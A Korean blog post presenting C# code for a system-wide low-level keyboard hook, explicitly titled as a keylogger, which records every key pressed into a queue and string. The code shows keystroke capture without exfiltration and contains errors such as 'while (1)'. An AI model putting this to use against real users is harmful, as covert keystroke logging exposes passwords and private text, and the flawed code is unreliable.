-
[C#] 키로거, 키보드 전역 후킹프로그래밍/C# + Unity 2019. 3. 22. 23:11728x90
C#에서는 using System.Runtime.InteropServices;를 이용하면 user32.dll에 선언된 후킹 함수를 사용할 수 있다.
using System; using System.Collections; using System.Collections.Generic; using System.Diagnostics; using System.Runtime.InteropServices; using System.Threading; namespace HookKey { class HookKey { [DllImport("user32.dll")] private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyProc callback, IntPtr hInstance, uint threadId); [DllImport("user32.dll")] private static extern bool UnhookWindowsHookEx(IntPtr hInstance); [DllImport("user32.dll")] private static extern IntPtr CallNextHookEx(IntPtr idHook, int nCode, int wParam, IntPtr lParam); [DllImport("kernel32.dll")] private static extern IntPtr GetModuleHandle(string lpModuleName); private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 0x100; private delegate IntPtr LowLevelKeyProc(int nCode, IntPtr wParam, IntPtr lParam); //이 위로는 DLL import 등입니다. private static LowLevelKeyProc keyboardProc = KeyboardHookProc; private static IntPtr keyHook = IntPtr.Zero; private static Queue<char> texts = new Queue<char>(); public static void SetHook() { if (keyHook == IntPtr.Zero) { using (Process curProcess = Process.GetCurrentProcess()) using (ProcessModule curModule = curProcess.MainModule) { keyHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardProc, GetModuleHandle(curModule.ModuleName), 0); } } } public static void UnHook() { UnhookWindowsHookEx(keyHook); } private static IntPtr KeyboardHookProc(int code, IntPtr wParam, IntPtr lParam) { //Code가 0보다 클 때에만 처리해야 합니다. 아닌 경우에는 내부적으로 관리하는 훅체인에 쓰이기 때문입니다. //wParam==WM_KEYDOWN부분은, 키보드를 누르는 이벤트와 떼는 이벤트 중 누르는 이벤트만을 통과시킵니다. //만약 ==267로 바꿀 경우, 키보드를 땔 떼 코드가 실행됩니다. if (code >= 0 && (int)wParam == WM_KEYDOWN) { //lParam포인터가 가리키는 곳에서 키코드를 읽어 keyCheck로 보냅니다. texts.Enqueue(Convert.ToChar(Marshal.ReadInt32(lParam)));//texts큐에 데이터를 집어넣음 //return (IntPtr)1; <- 키를 씹을 수 있음 } return CallNextHookEx(keyHook, code, (int)wParam, lParam); } String ttmp = ""; private void checkdata() { while (1) { Thread.Sleep(100); if (texts.Count > 0) { char tmp = texts.Dequeue(); ttmp += tmp; } } } private void Form1_Load(object sender, EventArgs e) { SetHook(); new Thread(new ThreadStart(checkdata)).Start(); } } }
textbox를 static으로 선언하지 않아도 queue를 사용함으로써 후킹 된 문자열을 static이 아닌 일반 변수로써 사용 할 수 있다.
※ 도움을 주신 프로그래밍 갤러리 ㅇㅇ(218.147)님 감사합니다.
https://syudal.tistory.com/entry/C-DLLImport로-외부-DLL-함수-호출하기
728x90댓글